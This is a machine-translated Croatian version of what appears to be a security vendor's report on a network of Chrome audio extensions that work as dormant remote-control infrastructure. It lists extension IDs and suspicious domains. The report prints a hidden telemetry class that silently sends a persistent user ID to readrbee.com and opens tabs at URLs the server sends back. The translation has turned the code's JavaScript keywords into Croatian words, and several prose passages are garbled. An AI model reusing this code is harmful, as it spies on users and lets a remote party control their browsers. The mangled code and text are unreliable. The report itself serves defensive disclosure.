LayerX je otkrio mrežu zlonamjernih ekstenzija "sleeper agent" koje izgleda služe kao infrastruktura za buduće zlonamjerne aktivnosti, a trenutno su instalirane na gotovo 1.5 milijuna korisnika diljem svijeta.

 

LayerX je otkrio mrežu proširenja preglednika koja izgledaju kao "agenti spavači" za buduće zlonamjerne aktivnosti. Čini se da su sva proširenja razvila ista osoba ili grupa, čekajući svoj "marširajući redoslijed" za izvršavanje zlonamjernog koda na računalima ništa ne slutećih korisnika. 

Čini se da su ekstenzije koje je LayerX identificirao usmjerene na upravljanje zvukom unutar preglednika. Dok ekstenzije pokušavaju prikriti svoje uobičajene parametre (zajedničku bazu koda, uobičajena odredišta vanjske komunikacije itd.) i pokušati prikazati legitimnu funkcionalnost, analiza koda otkriva sasvim drugačiju priču:

  • Uobičajeni kod s poznatim zlonamjernim proširenjima: U ovim proširenjima pronađeni su uobičajeni obrasci koda koja su prethodno identificirana kao zlonamjerna i uklonjena iz Chrome web-trgovine.
  • Učitavanje vanjskih konfiguracijskih datoteka za izvršavanje naredbi: Uobičajeni obrasci koda omogućuju proširenju, između ostalog, izvršavanje udaljenih instrukcija bez da se te naredbe pojavljuju u kodnoj bazi, čime se zaobilaze tradicionalne tehnike skeniranja koda.
  • Otvaranje pozadinskih kartica i izvršavanje naredbi: To omogućuje proširenju izvršavanje naredbi bez znanja korisnika. Primjeri takvih naredbi mogu biti, na primjer, pristup vanjskom URL-u i preuzimanje zlonamjernog softvera.
  • Komunikacija s poznatim zlonamjernim URL-ovima: Proširenja komuniciraju s vanjskim URL-ovima, uključujući poznate zlonamjerne domene.
  • Šifriranje prometaProširenja također koriste enkripciju i maskiranje base64 koda za enkripciju vanjske komunikacije i maskiranje njihovog ponašanja.

Ne treba ni spominjati da se čini da ove mogućnosti nemaju nikakvu legitimnu upotrebu u odnosu na navodnu funkciju proširenja. 

Trenutno je LayerX identificirao četiri takva proširenja (za više detalja pogledajte dolje), s preko 1.2 milijuna korisnika diljem svijeta. LayerX također trenutno istražuje nekoliko dodatnih proširenja koja se čine povezanima s ovom kampanjom. Sva proširenja su i dalje dostupna u Chrome trgovini.

 

Uobičajena, zlonamjerna kodna baza

Iako se ekstenzije ne čine povezanima izvana, one dijele zajedničku bazu koda s mnogo ponavljajućih funkcija i struktura podataka, što ukazuje na jednog programera ili grupu iza njih.

Ključno je to što se čini da dijele infrastrukturni kod s proširenjem koje je u prošlosti uklonjeno iz Chrome web trgovine zbog zlonamjerne aktivnosti: ReadBee (ID proširenja: phjbepamfhjgjdgmbhmfflhnlohldchb) bilo je popularno Chromeovo proširenje koje je uključivalo skrivenu infrastrukturu za zlonamjerne aktivnosti. Kasnije je uklonjeno iz Chrome web trgovine nakon što je povezano s preusmjeravanjem prometa i potencijalnim prijevarama s affiliate partnerima, a neki... sigurnosni istraživači su ga označili zbog sumnjivih dozvola i ponašanja.

The ExtStatTracker Klasa u ReadBeeju tiho prati instalacije, deinstalacije i ažuriranja slanjem kodiranih korisničkih podataka - uključujući trajni UUID - readrbee.com. Može i otvara proizvoljne URL-ove u novim karticama, učinkovito djelujući kao kanal za daljinsko upravljanje. Ova telemetrijska logika ugrađena je u pozadinski skript i nije otkriveno korisnicima, što potvrđuje prisutnost zlonamjerne infrastrukture.

ReadBeejeva pozadinska skripta uključuje komponentu pod nazivom ExtStatTracker, koja funkcionira kao infrastruktura za daljinsko upravljanje i telemetriju. Kodira podatke pomoću btoa i dodaje ih mrežnim zahtjevima poslanim readrbee.comOvaj sustav omogućuje udaljenom poslužitelju slanje ažuriranja konfiguracije, pa čak i otvaranje proizvoljnih kartica pomoću chrome.tabs.create(). 

Jedna od prednosti ove postavke je fleksibilnost: na primjer, ID elementa za praćenje u skripti sadržaja može se dostaviti daljinski, izbjegavajući čvrsto kodiranu logiku i olakšavajući zaobilaženje statičkih sigurnosnih alata. Komunikacija između komponenti odvija se putem chrome.storage, što omogućuje trajnu, tihu koordinaciju. Ova skrivena infrastruktura pokazuje jasne znakove zlonamjerne namjere putem tihog praćenja, ubrizgavanja dinamičkog ponašanja i namjernog izbjegavanja sigurnosnih mehanizama.

razred ExtStatTracker {

    konstruktor() {

        to.installUrl = “https://readrbee.com/install/" to.uninstallUrl = “https://readrbee.com/uninstall/" to.config = {}, to.red = [], to.hash = “”, to.queueProcessorReady = !1, to.uid = “”, to.verzija = chrome.runtime.getManifest().verzija, ee = “nedefiniran” == vrsta prozor ? globalnoOvo : prozor, to.initStorage, to.initListener-i()

    }

    red_procesa() {

        za (; to.duljina.reda > 0; ) {

            je t = to.red.smjena();

            if (!t.tip || "akcijski" != t.tip) povratak !0;

            je e = "p=" + encodeURIComponent(btoa(JSON.žicati({

                id: chrome.runtime.id,

                v: to.verzija,

                akcijski: t.akcija,

                uid: to.uid,

                smjesa: to.hash,

                tDatum.sada()

            })));

            donijeti(to.installUrl + "?" + e).tada.((t => t.JSON())).tada.((funkcija(t) {

                t && 1 != t.ok && (t.url && chrome.tabs.stvoriti({

                    uRL: t.url

                }), extStatTracker.spremanje konfiguracije(t))

            }))

        }

    }

    postaviUninstallUrl() {

        je t = "p=" + encodeURIComponent(btoa(JSON.stringify({

            id: chrome.runtime.id,

            v: to.verzija,

            akcijski: “Deinstaliraj”,

            uid: this.uid,

            t: Datum.sada()

        })));

        chrome.runtime.postaviURL za deinstalaciju(to.uninstallUrl + "?" + t)

    }

    initListener-i() {

        chrome.runtime.onInstalirano.addListener((t => {

            to.red.gurati({

                vrsta: "akcijski"

                akcijski: t.razlog

            }), to.queueProcessorReady && ovaj.red_procesa()

        }))

    }

    initStorage() {

        chrome.storage.local.dobiti((t => {

            t && t.config && (extStatTracker.config = t.config), extStatTracker.config.uid ? extStatTracker.uid = extStatTracker.config.uid : (extStatTracker.uid = extStatTracker.config.uid = crypto.slučajniUUID(), extStatTracker.spremanje konfiguracije()), extStatTracker.hash = extStatTracker.config.hash, extStatTracker.queueProcessorReady = !0, extStatTracker.postaviUninstallUrl(), extStatTracker.red_procesa()

        }))

    }

    spremanje konfiguracije(t = !1) {

        t = t || extStatTracker.config, chrome.storage.local.dobiti({

            config: {}

        }, (e => {

            Objekt.dodijeliti(e.config, t), chrome.storage.local.postaviti({

                config: e.config

            })

        }))

    }

}

const extStatTracker = novi ExtStatTracker;

Ova infrastruktura nije jedinstvena za ReadBee - slične strukture zlonamjernog koda pronađene su i u drugim ekstenzijama. Na primjer, Pretraži ChatGPT proširenje (acagjkjeebjdmeipgmhcmaddekfmdbaj) koristio je iste komunikacijske i kontrolne obrasce i uklonjen je iz Chrome web trgovine 25. listopada 2024., zbog zlonamjernog softvera.

 

Komunikacija sa zlonamjernim URL-ovima:

Neke domene s kojima ova proširenja komuniciraju označene su kao poznati zlonamjerni URL-ovi na VirusTotalu:

  • https://francjohn[.]com/api/action/

Druga domena s kojom se vidi komunikacija ekstenzija je:

  • https://jermikro[.]com/api/

Tri ekstenzije komuniciraju s ovom domenom. Iako sama domena nije označena kao zlonamjerna, temeljna struktura te domene u prošlosti je označena zbog aktivnosti zlonamjernog softvera.

Štoviše, ekstenzije također koriste razne tehnike šifriranja unutar koda za šifriranje vanjske komunikacije i prikrivanje njihovog ponašanja.

 

Zamagljivanje zajedničkog vlasništva

Drugi ključni faktor je da, iako se čini da sva proširenja dijele zajedničku bazu koda (barem što se tiče zlonamjernih dijelova), zajedničku temu (sva su, čini se, usmjerena na upravljanje zvukom unutar preglednika) i zajedničku vanjsku komunikaciju, izvana sva pokazuju različito vlasništvo:

  • Svako proširenje navedeno je pod drugim izdavačem, s različitim kontaktnim podacima.
  • Nijedno od proširenja nema javno dostupne web stranice.
  • Kontaktni podaci za svaku ekstenziju vode do anonimnih webmail računa.

Kao rezultat toga, nemoguće je utvrditi identitet ljudi koji stoje iza svakog od ovih proširenja.

 

Sumnjiva zlonamjerna proširenja:

U nastavku je trenutni popis sumnjivih zlonamjernih ekstenzija identificiranih kao dio ovog prstena:

Naziv proširenja ID proširenja korisnici
Pojačivač zvuka pmilcmjbofinpnbnpanpdadijibcgifc 200,000
Ispitajte izvorni kod Volume Max – Ultimate Sound Booster-a mgbhdehiapbjamfgekfpebmhmnmcmemg 1,000,000
Volume Master: Ovladajte svojim zvukom eoejmjkddfbhhnbmklhccnppogeaeeah 3,000
Pojačivač zvuka: Vrhunski pojačivač zvuka dlcgileladmbfijjmnleehhoebpggpjl 2,000

Daljnja potvrda o VirusTotalu

Iako je VirusTotal uglavnom poznat kao repozitorij za označavanje domena/IP adresa zlonamjernih naredbi i kontrolnih (C2) poslužitelja, on također uključuje neke podatke o ekstenzijama.

Doista, ekstenziju „Examine source code of Volume Max – Ultimate Sound Booster“, s preko milijun preuzimanja, već je prijavilo nekoliko dobavljača. Međutim, nije uklonjena iz Chrome web trgovine.



Slično tome, ekstenzije „Sound Boster“ (preko 200,000 XNUMX korisnika) također su neke sigurnosne tvrtke označile kao zlonamjerne. I one su i dalje dostupne u Chrome web trgovini.


posljedice:

Analiza ekstenzija je još uvijek u tijeku, ali LayerX do sada nije identificirao nijednu struja zlonamjerne aktivnosti (osim veza s poznatim zlonamjernim proširenjima). Umjesto toga, čini se da je ovo platforma or infrastruktura za potencijalne buduće zlonamjerne aktivnosti. Zato je nazivamo "uspavanom" mrežom za proširenje.

Ova vrsta "spavaće" mreže za proširenje može poslužiti kao zamjena za tradicionalne botnet mreže. Dok izgradnja botneta (obično na izloženim IoT uređajima) može biti spora, tehnički složena i nezgrapna, razvoj mreže zlonamjernih proširenja preglednika je mnogo jednostavniji i može omogućiti izravan pristup ključnim informacijama o identitetu korisnika kao što su kolačići, lozinke, podaci o pregledavanju i sadržaj pregledavanja.

Ovdje postoji nekoliko ključnih zaključaka:

  1. Čak i naizgled bezopasna proširenja mogu biti zlonamjerna: u ovom slučaju, iako nismo vidjeli nikakvo aktivno zlonamjerno ponašanje, identificirali smo više poveznica na poznate zlonamjerne ekstenzije i/ili domene te kod s mogućnostima koji nema mjesta u ekstenzijama s oglašenim mogućnostima.
  2. Ugled izdavača je crna rupaSvatko može prenijeti ekstenziju i praktički je nemoguće pratiti ljude koji stoje iza tih ekstenzija. U ovom slučaju, unatoč svim uobičajenim značajkama, ekstenzije vode do generičkih webmail adresa, a ne do javnih web stranica, te nema načina da se utvrdi tko stoji iza njih.
  3. Sigurnost proširenja je kontinuirani proces: Nije to jednokratno rješenje, a naizgled nevina proširenja mogu postati zlonamjerna ili se zlonamjerne mogućnosti mogu uključiti/isključiti. Zato je ključno kontinuirano praćenje područja prijetnji i sigurnosnog stanja proširenja vašeg preglednika.